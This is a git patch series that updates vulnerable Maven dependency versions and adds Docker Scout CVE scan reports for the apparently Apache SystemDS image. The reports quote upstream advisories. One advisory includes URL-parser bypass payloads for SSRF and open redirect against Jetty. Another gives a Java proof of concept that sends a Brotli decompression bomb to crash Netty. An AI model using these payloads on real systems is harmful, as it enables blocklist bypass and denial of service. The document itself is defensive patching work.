CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.logging.log4j/log4j-core 2.22.1 (maven) + +pkg:maven/org.apache.logging.log4j/log4j-core@2.22.1
+medium 6.3: CVE--2025--68161 Improper Validation of Certificate with Host Mismatch + + + + + + + + +
Affected range>=2.0-beta9
<2.25.3
Fixed version2.25.3
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N
EPSS Score0.140%
EPSS Percentile35th percentile
+ +
Description +
+ +The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the [verifyHostName](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName) configuration attribute or the [log4j2.sslVerifyHostName](https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName) system property is set to true. + +This issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions: + + * The attacker is able to intercept or redirect network traffic between the client and the log receiver. + * The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender’s configured trust store (or by the default Java trust store if no custom trust store is configured). + + +Users are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue. + +As an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.commons/commons-lang3 3.12.0 (maven) + +pkg:maven/org.apache.commons/commons-lang3@3.12.0
+medium 6.5: CVE--2025--48924 Uncontrolled Recursion + + + + + + + + +
Affected range>=3.0
<3.18.0
Fixed version3.18.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.016%
EPSS Percentile3rd percentile
+ +
Description +
+ +Uncontrolled Recursion vulnerability in Apache Commons Lang. + +This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. + +The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. + +Users are recommended to upgrade to version 3.18.0, which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 zlib 1.3.1-r1 (apk) + +pkg:apk/alpine/zlib@1.3.1-r1?os_name=alpine&os_version=3.20
+medium : CVE--2026--22184 + + + + + + +
Affected range<=1.3.1-r1
Fixed versionNot Fixed
EPSS Score0.038%
EPSS Percentile11th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
+medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
+ +
Description +
+ +Description +There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. + + +Vulnerability details +The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. + + +Impact +Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. + + +Patches +The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. + + +Patched releases: + + * 9.4.54 + * 10.0.18 + * 11.0.18 + * 12.0.3 + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
+medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input + + + + + + + + +
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
+ +
Description +
+ +## Summary + +Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. + +The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. + +## Details + +### Affected components + +The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. + +### Attack overview + +The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. + +### Attack scenario + +A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. + +This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. + +## PoC + +payloads: + +``` +http://browser.check &@vulndetector.com/ +http://browser.check #@vulndetector.com/ +http://browser.check?@vulndetector.com/ +http://browser.check#@vulndetector.com/ +http://vulndetector.com\\/ +``` + +The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". + +``` + +``` +A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). + +| Invalid URI | Jetty | Chrome | +| ---------------------------------------------- | ---------------- | ------------- | +| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | + +The problem of 302 redirect parsing in HTTP 302 Location + +| Input | Jetty | Chrome | +| ------------------------ | -------------- | ------------- | +| http://browser.check%5c/ | browser.check\ | browser.check | + +It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. + +## Impact + +The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. + +## Mitigation + +The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. +The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). + +Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). + +## Reference + +[1] https://cwe.mitre.org/data/definitions/918.html +[2] https://cwe.mitre.org/data/definitions/601.html + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 io.netty/netty-codec 4.1.124.Final (maven) + +pkg:maven/io.netty/netty-codec@4.1.124.Final
+medium 6.9: CVE--2025--58057 Improper Handling of Highly Compressed Data (Data Amplification) + + + + + + + + +
Affected range<4.1.125.Final
Fixed version4.1.125.Final
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
EPSS Score0.070%
EPSS Percentile22nd percentile
+ +
Description +
+ +### Summary + +With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. + +### Details + +`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. + +Tested on 4.1.118, but there were no changes to the decoder since. + +### PoC + +Run this test case with `-Xmx1G`: + +```java +import io.netty.buffer.Unpooled; +import io.netty.channel.embedded.EmbeddedChannel; + +import java.util.Base64; + +public class T { + public static void main(String[] args) { + EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); + channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); + } +} +``` + +Error: + +``` +Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) + at java.base/java.nio.Bits.reserveMemory(Bits.java:178) + at java.base/java.nio.DirectByteBuffer.(DirectByteBuffer.java:121) + at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) + at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) + at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) + at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) + at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) + at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) + at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) + at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) + at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) + at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) + at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) + at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) + at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) + at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) + at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) + at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) + at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) + at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) + at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) + at io.netty.handler.codec.compression.T.main(T.java:11) +``` + +### Impact + +DoS for anyone using `BrotliDecoder` on untrusted input. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.spark/spark-network-common_2.12 3.5.0 (maven) + +pkg:maven/org.apache.spark/spark-network-common_2.12@3.5.0
+medium 4.6: CVE--2025--55039 Inadequate Encryption Strength + + + + + + + + +
Affected range>=3.5.0
<3.5.2
Fixed version3.5.2
CVSS Score4.6
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
EPSS Score0.058%
EPSS Percentile18th percentile
+ +
Description +
+ +This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0. + +Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes. + +When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication. + +This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows. + +To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security. + +
+
+
+
critical: 0 high: 0 medium: 0 low: 1 org.apache.hadoop/hadoop-common 3.3.6 (maven) + +pkg:maven/org.apache.hadoop/hadoop-common@3.3.6
+low 2.0: CVE--2024--23454 Improper Privilege Management + + + + + + + + +
Affected range<3.4.0
Fixed version3.4.0
CVSS Score2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.038%
EPSS Percentile11th percentile
+ +
Description +
+ +Apache Hadoop’s `RunJar.run()` does not set permissions for temporary directory by default. If sensitive data will be present in this file, all the other local users may be able to view the content. This is because, on unix-like systems, the system temporary directory is shared between all local users. As such, files written in this directory, without setting the correct posix permissions explicitly, may be viewable by all other local users. + +
+
+
+
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) + +pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
+unspecified : CVE--2025--62813 + + + + + + +
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+
+ diff --git a/pom.xml b/pom.xml index 73a53bc7c8c..84629d6dea3 100644 --- a/pom.xml +++ b/pom.xml @@ -110,6 +110,7 @@ 0.27 4.1.124.Final 9.4.57.v20241219 + 12.0.12 3.8.14.Final 1.11.0 3.6.0 @@ -238,7 +239,7 @@ org.eclipse.jetty jetty-http - ${jetty.version} + ${jetty-http.version} org.eclipse.jetty @@ -279,6 +280,18 @@ protobuf-java ${protobuf.version} + + + org.apache.commons + commons-compress + 1.26.0 + + + + org.apache.commons + commons-configuration2 + 2.10.1 + From 3f95d48be279ab3ec0e71cf2e7fda2e77d1abf83 Mon Sep 17 00:00:00 2001 From: Quentin SCHNEIDER Date: Wed, 21 Jan 2026 13:21:15 +0100 Subject: [PATCH 11/31] [MINOR][SYSTEMDS-3878] Fix additional medium-severity CVEs in transitive dependencies This patch extends the security fixes for multiple high-severity CVEs by adding version overrides in dependencyManagement for additional vulnerable transitive dependencies. New version properties and dependencyManagement entries added for: - org.apache.hadoop.thirdparty/hadoop-shaded-guava@1.5.0 - com.google.guava/guava@33.5.0-jre to solve CVE-2023-2976, CVE-2020-8908 Stays a CVE for com.google.guava/guava@14.0.1 --- .../medium-cves/sysds_output11.md | 1424 +++++++++++++++++ pom.xml | 11 + 2 files changed, 1435 insertions(+) create mode 100644 docker/scout_results/medium-cves/sysds_output11.md diff --git a/docker/scout_results/medium-cves/sysds_output11.md b/docker/scout_results/medium-cves/sysds_output11.md new file mode 100644 index 00000000000..82fb2f8856a --- /dev/null +++ b/docker/scout_results/medium-cves/sysds_output11.md @@ -0,0 +1,1424 @@ + i New version 1.19.0 available (installed version is 1.18.3) at https://github.com/docker/scout-cli + ✓ Image stored for indexing + ✓ Indexed 357 packages + ✓ Provenance obtained from attestation + ✗ Detected 18 vulnerable packages with a total of 38 vulnerabilities + ✓ Report written to docker/scout_results/medium-cves/guava-simple.md +

:mag: Vulnerabilities of apache/systemds:latest

+ +
:package: Image Reference apache/systemds:latest + + + + + +
digestsha256:8fdcf6ffb7df11412afcc0affa58fa447c88277d526d5024e100c26662273fc4
vulnerabilitiescritical: 1 high: 10 medium: 21 low: 5 unspecified: 1
platformlinux/amd64
size370 MB
packages357
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
critical: 1 high: 2 medium: 5 low: 0 io.netty/netty 3.10.6.Final (maven) + +pkg:maven/io.netty/netty@3.10.6.Final
+critical 9.1: CVE--2019--20444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score11.096%
EPSS Percentile93rd percentile
+ +
Description +
+ +HttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an "invalid fold." + +
+
+ +high 7.5: CVE--2021--37137 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score2.383%
EPSS Percentile85th percentile
+ +
Description +
+ +### Impact +The Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well. + +This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk. + +### Impact + +All users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage. + +### References +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185 + +
+
+ +high 7.5: CVE--2021--37136 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.021%
EPSS Percentile77th percentile
+ +
Description +
+ +### Impact +The Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression). + + +All users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack + +### Workarounds +No workarounds other than not using the `Bzip2Decoder` + +### References + +Relevant code areas: + +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305 + +
+
+ +medium 6.5: CVE--2021--43797 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Score0.432%
EPSS Percentile62nd percentile
+ +
Description +
+ +### Impact + +Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. + +Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself. + + + +
+
+ +medium 6.2: CVE--2021--21290 Creation of Temporary File With Insecure Permissions + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.2
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.025%
EPSS Percentile6th percentile
+ +
Description +
+ +### Impact + +When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. + +The CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) + +### Vulnerability Details + +On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems. + +The method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information. + +This is the case in netty's `AbstractDiskHttpData` is vulnerable. + +https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101 + +`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`. + +You may be affected by this vulnerability your project contains the following code patterns: + +```java +channelPipeline.addLast(new HttpPostRequestDecoder(...)); +``` + +```java +channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...)); +``` + +### Patches + +This has been patched in version `4.1.59.Final`. + +### Workarounds + +Specify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user. + +### References + + - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html) + - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html) + +### Similar Vulnerabilities + +Similar, but not the same. + + - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp + - Google Guava - https://github.com/google/guava/issues/4011 + - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 + - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824 + +### For more information +If you have any questions or comments about this advisory: +* Open an issue in [netty](https://github.com/netty/netty) +* Email us [here](mailto:netty-security@googlegroups.com) + +### Original Report + +> Hi Netty Security Team, +> +> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: +> https://lgtm.com/query/7723301787255288599/ +> +> Netty contains three local information disclosure vulnerabilities, so far as I can tell. +> +> One is here, where the private key for the certificate is written to a temporary file. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 +> +> One is here, where the certificate is written to a temporary file. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 +> +> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 +> +> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file. +> +> Impacted OS: +> - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. +> +> Mitigation. +> +> Moving to the `Files` API instead will fix this vulnerability. +> https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- +> +> This API will explicitly set the posix file permissions to something safe, by default. +> +> I recently disclosed a similar vulnerability in JUnit 4: +> https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp +> +> If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. +> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 +> +> I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. +> https://github.com/netty/netty/security/advisories +> +> This vulnerability disclosure follows Google's [90-day vulnerability disclosure policy](https://www.google.com/about/appsecurity/) (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. +> +> Cheers, +> Jonathan Leitschuh + +
+
+ +medium 5.9: CVE--2021--21409 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
